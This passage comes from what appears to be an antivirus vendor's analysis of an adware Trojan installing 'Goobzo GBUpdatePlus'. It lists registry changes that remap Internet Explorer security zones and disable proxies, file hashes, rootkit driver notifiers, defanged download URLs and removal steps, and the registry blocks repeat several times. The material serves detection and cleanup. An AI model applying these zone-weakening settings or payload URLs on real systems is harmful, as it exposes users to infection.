[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
Proxy settings are disabled:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"
The process sma.exe:2160 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AC 38 A2 1F C8 9B 9E 84 2B 49 4E B5 63 37 11 CB"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
Proxy settings are disabled:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan deletes the following value(s) in system registry:
[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"
The process %original file name%.exe:632 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C9 00 D0 94 41 1B 37 B0 CB B2 BC 8E F2 AA 64 DB"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process %original file name%.exe:372 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "00 0D FB 69 64 13 25 81 83 55 83 8B 85 1F 60 6B"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process ins_smk.exe:1788 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2D 74 CD 18 5A 45 0F B4 08 6C 8E 86 A8 E0 1A AD"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
Dropped PE files
| MD5 | File path |
|---|---|
| 9b1ab23b8c06b28da5d8852505045d7f | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Install_16732\ins_smk.exe |
| 6f7d9e111a17fab195efe0bbd3a0442d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw3.tmp\AccDownload.dll |
| a436db0c473a087eb61ff5c53c34ba27 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw3.tmp\System.dll |
| 814d55f1d293738558501566f4578477 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw3.tmp\ns5.tmp |
| 14f5984b926208de2aafb55dd9971d4a | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw3.tmp\nsExec.dll |
| 674d093acd450b620818c72c17dc009a | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll |
| 6cdcbbddb9b7b761e690e2441a4f96a9 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe |
| faab1d36979d2462dfabbe606a620a93 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\Updater.exe |
| b86ad120f0d4092825314ec75368e060 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\sma.exe |
| 30514ee11b7a51852ec017ee6593b904 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smci32.dll |
| 99bb4b523809f2cc59f33269e8d9c185 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smei32.dll |
| 2eeaaa5d8269386d5286ca5ea7b61f54 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smfi32.dll |
| befe4ed1dc653ad1bd9e92dc03115e16 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smi32.exe |
| 36123050ad1e7e55a96b2d20b0404a80 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smoi32.dll |
| 6c90ec4349fbe7e7476c914777515313 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smri32.dll |
| 990db96a37c4387364a586988db47bd9 | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smu.exe |
| 1dfb26f2a7ce5e6cb63c6a599df55bbf | c:\Program Files\Common Files\Goobzo\GBUpdatePlus\smw.sys |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
Using the driver "\??\%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys" the Trojan controls creation and closing of processes by installing the process notifier.
Using the driver "\??\%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys" the Trojan controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
smu.exe:1072
smu.exe:1104
smu.exe:304
wscript.exe:1224
sma.exe:3608
sma.exe:560
sma.exe:2232
sma.exe:2084
sma.exe:1228
sma.exe:2164
sma.exe:2160 - Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\All Users\Application Data\SearchModulePlus\smhe.js (411 bytes)
%WinDir%\Tasks\SMW_UpdateTask_Time_3835323735333432352d3437415a556c2a3223346c41.job (968 bytes)
%WinDir%\Tasks\Inst_Rep.job (876 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Installer\Install_29593\%original file name%.exe (7726 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Install_16732\ins_smk.exe (52641 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Installer\Install_20715\%original file name%.exe (7726 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe (19096 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\sma.exe (3312 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll (784 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smci32.dll (34561 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smfi32.dll (23296 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smei32.dll (24832 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg2.tmp (312459 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\System.dll (11 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smri32.dll (13584 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\AccDownload.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\nsExec.dll (6 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe (58402 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smi32.exe (2392 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\Updater.exe (25112 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys (784 bytes)
%Program Files%\Common Files\Goobzo\GBUpdatePlus\smoi32.dll (14184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw3.tmp\ns5.tmp (6 bytes)
%WinDir%\Tasks\SMWPUpd.job (1152 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name:
Product Name:
Product Version: 2.11.0.999
Legal Copyright: Copyright (C) 2014
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.11.0.999
File Description:
Comments:
Language: Language Neutral
Company Name: Product Name: Product Version: 2.11.0.999Legal Copyright: Copyright (C) 2014Legal Trademarks: Original Filename: Internal Name: File Version: 2.11.0.999File Description: Comments: Language: Language Neutral
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| .text | 4096 | 684143 | 684544 | 4.55713 | d14bf4816b6db21a2d42b0f7a89c2d78 |
| .rdata | 692224 | 239608 | 239616 | 3.04149 | d0d482b1f1a4408f23d2ff33ce046ecd |
| .data | 933888 | 24680 | 13312 | 3.01365 | f7c282a4fc8def413fda1e0e6b107a77 |
| .rsrc | 962560 | 244160 | 244224 | 4.40219 | 08ee8eb2f8ccd1be4689523e0c993fa3 |
| .reloc | 1208320 | 45284 | 45568 | 4.54767 | f628fd9a4ceede7a3d5189b7c6737c74 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
| URL | IP |
|---|---|
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/t.ashx?e=Ka qOJkckoXHjWHokC5IQK5B7OIbkEBGnvZi s3jtzHZ5YIGg5oNPurVyaMS1AoBVcsZgjOTLBgN7Tkzw2UYeIBGm42Ndaaed/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLCNmnPWw9zGnUjefKmcoAknBKVVzEMwyJ3sIbAGqmciwyyzTF2Y0WVu | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/26238.ashx?e=jJl6mEdycnTwRSjHOffQCFAsqf2wNU2f/lCDRYG1zoogLxC0aXqYrahr7 bKoa6AuvWIWLeWr wQHPLKTAZk7e K9V0GRRESCeQCV5QcxbtPZPHJIIJ7tLPiCC4paVhd2Pbk/9NONlMwdHiAKz3nHY2ac9bD3MadSN58qZygCScEpVXMQzDInewhsAaqZyLDLLNMXZjRZW4= | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/26238.ashx?e=Ka qOJkckoXHjWHokC5IQK5B7OIbkEBGnvZi s3jtzHZ5YIGg5oNPurVyaMS1AoBVcsZgjOTLBgN7Tkzw2UYeIBGm42Ndaaej0N7bp/0QtQ1G SrHc cvhQC drCF7eFQ YL/6iHOTijPnnb7QJKk0 ozBx6XehYjZpz1sPcxp1I3nypnKAJJwSlVcxDMMid7CGwBqpnIsMss0xdmNFlbg== | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/26238.ashx?e=CwD9X8OFGaKR6UYegnAeSXeOKM0B8ID5IM0CqmsRfbtxTYwWxYG9WEEY41XBMtFkXKxlIGlYnfUTHEHAGyjM2RoVOXLTxMppDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3BQ8MIYMfS0tAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JoXwql6nKegU | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/26238.ashx?e=lOCrbsNL2zUPgAd18hbyrmlzDgGWgrXS/Dn8i7qp5mBrRPNUypxOtyiJpOuGuO 6ghmiZJc6KBe9Kbi6m4oCRuaF2IGt5LaLNuhx1OT2CBzNSKpf5M87qhVWaKclJYCz20qHT6WNWM5wOFP3xQuQZCqFnoRg45ZcrXIxNf6X/p8jq1U t1gQfOJGi8wh2qItjgb6v7cXpPvVs 1hpnKPWNckWery5nY61wQMeOGfVSoklpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CTEJJ99zQJTqVYgO0yHAHEsYAqi 8bJ4kL0puLqbigJG5oXYga3ktos26HHU5PYIHM1Iql/kzzuqyrBnDEBfh98= | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJPRBRa93/wJ4K5g1UaeibIFKYX3Ti/i3YNSfnOwL00n5Z1 bwt5t6kul7 MWoTgv1cPg3JQuiDood/dJkCtxgij8NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFaV2a3pWCTy1K5oVP3GqZY3pzYLgoZ4xWM4wGF20BzI9qvWkMucmFihmqeDgCudXagJ8/3qJKGNSw== | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/6014.ashx?e=/1ietnsFWJiR6UYegnAeSX3HuBJHTmaxIM0CqmsRfbuUONmYGBhJBq3/AN/bF2roRdb/S8YKHkPcr4ZRnoqTVR8D2S3ri4u5MLoezcHGXxCcCylWmFXge77GRIcOoydhUdGPD1b2Qs4MYGo3tI59K1yeS2Ur1lJbd/XCztdoPbICMm3VbjJ5Co4G r 3F6T7Ye9UEEkdnkZTvMZjEVVmTm 4 SQMoieQ8Lxp8HLogowR591rTzu05D5OeSwUDdva2hNibsqR5hVlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkhtkyI27ZY5V | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/t.ashx?e=s5Ydxb c7o2FMsyJppApAKmA//h2Ax0vvUVDC2B7r8vCigHpURgZK3sc7hbJtTJH20qHT6WNWM5wOFP3xQuQZKH18CwqK4yKLhu0b45kiT/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0klpIg/vGiFhQGw7w7bWmjz7d9KaLD84/d0InrHGn4CaR2deZjme0S | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJOtK2nLIJE3nHvKbjUyzCCcFAL52sIXt4WJJdSgnf3DEaNti66QtAKhfA9DmA/gYOYuTGF2cL9EmtvhlH7qLNe2qcNRkPd4KMvKLtIqZz8gHAuCtKRlIVo2d3 uKF6e7H0PCo jLvL970WABgPsiU45c3Et663DfBhyM2o/jDHVaZXZGNpw 9E1 | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJNOW4G7RSbXnJzBAJhcf/vDKYX3Ti/i3YPAWVENb3ClJL565 bsyc4GxNB9hPvytbqj4mEVVTCsv8oowH443v5LVMzzGZXi flruyvHL/XTRfTbXnzkx FKHdtdgGHkZrI4k4Gm5vvSslz4CKwiprZwRliKVRBKD6kOLqhYc m3IQ== | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/26238.ashx?e=2fVCHF6kf8i8qFEAMB5m TvdYM1ENABOnvZi s3jtzGcl1mVNAzAtk9nl361I435LntfO9v5CwenNguChnjFYzjAYXbQHMj2q9aQy5yYWKGap4OAK51dqCcbb3E jHNsqGvv5sqhroC69YhYt5av7BAc8spMBmTtMydwrVDP9I1d4VqhSAhk2COVVvHCTb5Jjgb6v7cXpPsKZRPAPacI1rdMx1QajaG48NVcbx dWxSReJECB10wJoxWgtYjek0xghq6RzWLsFaV2a3pWCTy1K5oVP3GqZY3pzYLgoZ4xWM4wGF20BzI9qvWkMucmFihmqeDgCudXagJ8/3qJKGNSw== | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/6014.ashx?e=aQQpsP6/AW07SHxFqnYavFX1BigItLW6EhGH33nPGlEeaFNcfNJ0Dj3LO2i4hwoZp2RYIisGWDtlUrzhzYzRpxYYlz4MbrnlRbLnoe3tuR1fIBEqrHvSkjVAWEERd KPQRjjVcEy0WRcrGUgaVid9Wn64QMxRqlk1qg9mP3gfJPciXFAHp4HlNvmf3gdPUqQs IILilpWF3zNK4whhQy VWepW98S4qUX6ABQ4xl C6XAmRABUbmSYRA5W RLpwIoLj8WN7CI8VJWpTUhdoetbAQhJgQ701LudQlG124a8hFOTAwlw8YF3s7wI xkmMOKxl3uarw9oj/6htcsbgMiQ== | 198.232.124.192 |
| hxxp://5qrxbrcb-hvjtfa3f.netdna-ssl.com/6014.ashx?e=/1ietnsFWJiR6UYegnAeSX3HuBJHTmaxIM0CqmsRfbuUONmYGBhJBq3/AN/bF2roRdb/S8YKHkPcr4ZRnoqTVR8D2S3ri4u5MLoezcHGXxCcCylWmFXge77GRIcOoydhUdGPD1b2Qs4MYGo3tI59K1yeS2Ur1lJbd/XCztdoPbK12B/VpfiJ4dCUHeR8YCF3BQ8MIYMfS0tAjghhbsGXAob/z4gt3huKFFb4kQKLOKLSjoKcRHF JjlkwUaFySc/6ysA rfm9WUeI9VTThLJ3dWuIaZM1xa3dpq54mgwTavGKVZNEkW223CFYrbXwa0d | 198.232.124.192 |
| hxxp://d13s98z2lzti92.cloudfront.net/smw9476dp.exe | 54.239.168.106 |
